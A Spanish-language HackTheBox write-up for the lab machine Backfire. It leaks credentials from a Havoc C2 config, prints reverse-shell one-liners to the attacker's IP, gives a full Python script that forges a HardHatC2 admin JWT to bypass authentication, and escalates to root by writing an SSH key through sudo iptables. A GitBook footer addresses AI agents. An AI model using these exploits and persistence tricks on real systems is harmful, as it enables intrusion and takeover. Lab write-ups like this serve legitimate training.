> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md).

# Resolución de HackTheBox Backfire

{% embed url="<https://app.hackthebox.com/machines/643>" %}

{% hint style="warning" %}
**Habilidades:**

* Fuga de información (archivo Yaotl)
* Explotación de Havoc-C2 (Puerto 40046)
* Creación de clave SSH
* Pivotaje (Usuario: Sergej)
* Explotación de HardHat (Puerto 7096)
  * HardHat - Bypass de autenticación
  * HardHat - Ejecución remota de código
* Escalada de privilegios con sudo (IPTables)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/2c6a62351c453c4e5ed0dd37091b0f5f3b2b69f3" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/8d67edffa406fa354d98aff2a0cb2ac056f06fb1" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts
```

<figure><img src="/files/747b0a64aae14bf821e9d4e6bd44649c6772b80c" alt=""><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap: (22,443,8000)

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted
```

<figure><img src="/files/9214d54dba99d7409870d6f49941ae6beaf689a5" alt=""><figcaption></figcaption></figure>

### Puerto 8000

En el puerto 8000, encontramos dos archivos interesantes:

* `disable_tls.path`
* `havoc.yaotl`

<figure><img src="/files/1d16094397861a79cf726de98d990d55f2c73b69" alt=""><figcaption></figcaption></figure>

El **havoc.yaotl** el archivo contiene dos usuarios con sus contraseñas y un nombre de dominio:

* **ilya:** `CobaltStr1keSuckz!`
* **sergej:** `1w4nt2sw1tch2h4rdh4tc2`
* **Anfitrión:** `backfire.htb`

<figure><img src="/files/5db19f0e4d428ff435515b0cc5fcd417bb7a4581" alt=""><figcaption></figcaption></figure>

Añadimos este nombre de host en nuestro `/etc/hosts` archivo para facilitar el acceso.

<figure><img src="/files/3272e3b59a8bfab34c40c669ae4e3df080a14e3b" alt="" width="563"><figcaption></figcaption></figure>

El **disable/ tls.path** El archivo contiene un parche para deshabilitar TLS en el puerto de gestión WebSocket (40056) en Havoc. Este parche reemplaza "wss\://" por "ws\://" y elimina la configuración SSL tanto para el cliente como para el servidor. El autor justifica este cambio especificando que este puerto solo acepta conexiones locales mediante reenvío SSH, reduciendo así los riesgos de seguridad. Este parche también parece ser una ironía sobre el rápido trabajo del usuario **sergej**de su rápido trabajo.

<figure><img src="/files/ea26ec37e057d65f40d561d35e06d6ad8177064d" alt=""><figcaption></figcaption></figure>

## Puerto 40046 Havoc-C2

{% embed url="<https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE>" %}

Para explotar la vulnerabilidad SSRF en Havoc, creamos un `payload.sh` archivo que contenga el siguiente código:

```bash
#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```

A continuación, configuramos un servidor web para alojar nuestro payload con el siguiente comando:

```bash
python3 -m http.server 80
```

Luego, escuchamos en el puerto 4444 con netcat para recibir la conexión inversa:

```bash
nc -nlvp 4444
```

Modificamos el script para incluir la información relevante y luego ejecutamos el exploit mediante el siguiente comando:

<figure><img src="/files/3276a23677c1973b1c60098f58c7978f2131959e" alt=""><figcaption></figcaption></figure>

```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```

**Acceso de usuario:**

El usuario **ilya** te permite conectarte a la máquina objetivo.

<figure><img src="/files/d5b7ae7b3308cc5c627560ce84ac7afcfcf3ad9f" alt=""><figcaption></figcaption></figure>

#### Estabilización de la terminal

<pre class="language-bash"><code class="lang-bash">script /dev/null -c bash
Pulsa `Ctrl+Z`, luego estabiliza la terminal:

stty raw -echo; fg
reset xterm
export TERM=xterm
<strong>export SHELL=bash
</strong>stty rows 44 columns 184
</code></pre>

### Bandera user.txt

<figure><img src="/files/8bb715ce3685153a38496c5cd2634210e118ebce" alt="" width="563"><figcaption></figcaption></figure>

Observamos que una tarea cron expulsa nuestra sesión cada 2 minutos. Para solucionar este problema, crearemos claves SSH.

### **Creación de claves SSH:**

Generamos una nueva clave SSH usando el siguiente comando:

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
```

{% endcode %}

<figure><img src="/files/1fff8e6c50f87aea14115f72dde8227078c83e80" alt=""><figcaption></figcaption></figure>

Luego modificamos el `authorized_keys` archivo para añadir nuestra clave pública:

{% code overflow="wrap" %}

```bash
echo "YOU KEY" | tee -a ~/.ssh/authorized_keys
```

{% endcode %}

<figure><img src="/files/4e24284c61943f35c34ef8f7eceb675c89330c78" alt=""><figcaption></figcaption></figure>

Luego nos conectamos a la máquina objetivo usando SSH:

```bash
ssh ilya@backfire.htb
```

<figure><img src="/files/c93bab617510b02eaf35516f537354925e2500b4" alt=""><figcaption></figcaption></figure>

### **Pivotar al usuario Sergej**

En el directorio del usuario `ilya`, encontramos un archivo `hardhat.txt` que contiene el siguiente mensaje:

> Sergej dijo que instaló HardHatC2 para realizar pruebas y no cambió la configuración predeterminada. Espero que prefiera Havoc porque no quiero aprender otro framework C2, y Go

<figure><img src="/files/1eb3b6a3a27f978964ed9f58fa9a8888ec46f4b9" alt=""><figcaption></figcaption></figure>

Examinamos los puertos internos con el `netstat` comando:

```bash
netstat -tuln
```

Los puertos 5000 y 7096 parecen especialmente interesantes.

<figure><img src="/files/13a1cd811545919f3a8ef2e4d533ab66f977fc7d" alt=""><figcaption></figcaption></figure>

**Reenvío de puertos :**

Realizamos reenvío de puertos con SSH para acceder a los servicios internos:

```bash
ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb
```

## **Puerto 7096 - CMS de HardHatC2 :**

En el puerto 7096 encontramos el CMS de HardHat.

<figure><img src="/files/461ac046348d5046fd70c12f33c2f1e942108323" alt=""><figcaption></figcaption></figure>

### **Bypass de autenticación de HardHat C2**

{% embed url="<https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7>" %}

Usamos el siguiente script para omitir la autenticación y crear un nuevo usuario:

```python
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# Generar JWT de administrador  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("JWT generado:")  
print(token)  
  
# Usa el JWT de administrador para crear un nuevo usuario 'sth_pentest' como TeamLead  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "jordan12345",  
"role": "TeamLead",  
"username": "jordan"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)
```

El script genera el usuario `usuario` con el rol `rol de TeamLead`.

<figure><img src="/files/7be29e784f9582e24cfe3b4b36254b1d5e9243a0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6549ee78f30256f9f3fb16a26a764a01abeaf047" alt=""><figcaption></figcaption></figure>

### Hardhat C2 (RCE)

En la `ImplantInteract` parte, tenemos acceso a una terminal. Al ejecutar el `whoami` comando, vemos que hemos iniciado sesión como usuario `sergej`.

<figure><img src="/files/0931b48a81af447bf9a5e6ea64cfc57d5f1260fa" alt=""><figcaption></figcaption></figure>

Establecemos una shell inversa para el usuario `sergej` escuchando en el puerto 443:

```bash
nc -nlvp 443
```

Y ejecutemos el siguiente comando para establecer la conexión inversa

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

Una vez conectados, añadimos nuestra clave SSH a `authorized_keys` para poder reconectarnos fácilmente:

<figure><img src="/files/4f06288741e9730e8ed9447ee5c277aa7725dde0" alt="" width="563"><figcaption></figcaption></figure>

```bash
echo "your key" | tee -a ~/.ssh/authorized_keys
```

## **Escalada de privilegios :**

### **Sudo - Tablas IP**

**Comprobando los permisos de sudo**

Comenzamos comprobando los permisos de sudo disponibles en la máquina:

```bash
sudo -l
```

<figure><img src="/files/602dd388aca46f96b49db4eb454ec0735a449ca8" alt="" width="556"><figcaption></figcaption></figure>

Descubrimos que el usuario tiene `sudo` permisos sin contraseña para los siguientes comandos:

* `/usr/sbin/iptables`
* `/usr/sbin/iptables-save`

**Generación de un par de claves SSH**

Generamos un par de claves SSH para inyectar nuestra clave pública en los archivos de autenticación de root:

```bash
ssh-keygen  -t ed25519
```

Aquí está la clave pública generada:

{% code overflow="wrap" %}

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot
```

{% endcode %}

**Inyección de la clave pública en iptables**

Usamos el `--comment` campo de `iptables` para inyectar nuestra clave pública en una regla

{% code overflow="wrap" %}

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n'
```

{% endcode %}

Comprobamos que la regla se ha añadido:

```bash
 sudo /usr/sbin/iptables -L
```

<figure><img src="/files/73db8d3e5a287067c1a4ed62b4f76c548df9584b" alt=""><figcaption></figcaption></figure>

**Guardar en el archivo authorized/\_keys**

Guardamos las reglas de iptables en un archivo que se usará como el del usuario root `authorized_keys` archivo:

```bash
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2
```

**Iniciar sesión como root**

Finalmente, podemos conectarnos por SSH como root:

```bash
ssh root@backfire.htb
```

<figure><img src="/files/fafde4bea0395014e84a9aeb3985149c41a58be0" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/c8a20380724a42d9ebd53c52206b1a4cbc052808" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
